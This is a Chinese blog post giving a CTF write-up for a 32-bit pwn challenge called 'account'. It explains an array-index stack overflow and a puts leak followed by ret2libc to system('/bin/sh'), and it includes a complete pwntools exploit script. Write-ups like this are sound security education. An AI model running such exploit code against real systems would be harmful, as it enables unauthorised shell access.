Unterhimmel-Binary cracking
上海磐石行动 2025 初赛pwn - account

上海磐石行动 2025 初赛pwn - account

32位利用数组检查栈溢出构建rop

解题思路

保护,看到为32位 检查后libc为2.31-0ubuntu9.18_i386
只有一个vul()函数,发现到10之后就会溢出向前输入覆盖到数组的idx,没有PIE
输入v1[11]=13,我们再次控制输入就可以泄漏Puts地址,然后打ret2libc。 32位直接使用栈进行传参,用ROPgadget找一个合适的gadget使一个返回地址覆盖到esp(即call system后返回的下一个返回地址)后esp+4才会传递参数过去。

注意输入的有符号整数scnaf("%d"),要进行转换,libc种明显有超过0x7fffffff的,我们直接补码表示,减去(1«32)

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *

filename = "./account"
libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
    return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
#     "./account",
#     """
#     b *main
#     b *0x80492ea
# """,
# )
io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23396)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def uu32(data):
    return u32(data.ljust(4, b"\x00"))


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def ia():
    return io.interactive()


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
    return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


entry = 0x8049264
pop_ebx_ret = 0x08049022
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

for i in range(10):
    sl(b"1")

sl(b"13")  # 写入返回地址

sl(str(puts_plt).encode())
sl(str(pop_ebx_ret).encode())
sl(str(puts_got).encode())
sl(str(entry).encode())

sl(b"0")
ru(b"Recording completed\n")
libc_base = u32(io.recv(4)) - libc.sym["puts"]
puts = libc_base + libc.sym["puts"]
log.success(VIO_TEXT("libc_base = " + hex(libc_base)))
log.success(VIO_TEXT("puts = " + hex(puts)))

for i in range(10):
    sl(b"1")

sl(b"13")


def signed(val):
    if val < 0x80000000:
        return val
    else:
        return val - (1 << 32)


sl(str(signed(libc_base + libc.sym["system"])).encode())
sl(str(pop_ebx_ret).encode())
io.sendline(str(signed(libc_base + next(libc.search(b"/bin/sh\x00")))).encode())
sleep(1)

sl(b"0")

io.interactive()
本博客已稳定运行
发表了46篇文章 · 总计16万4千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...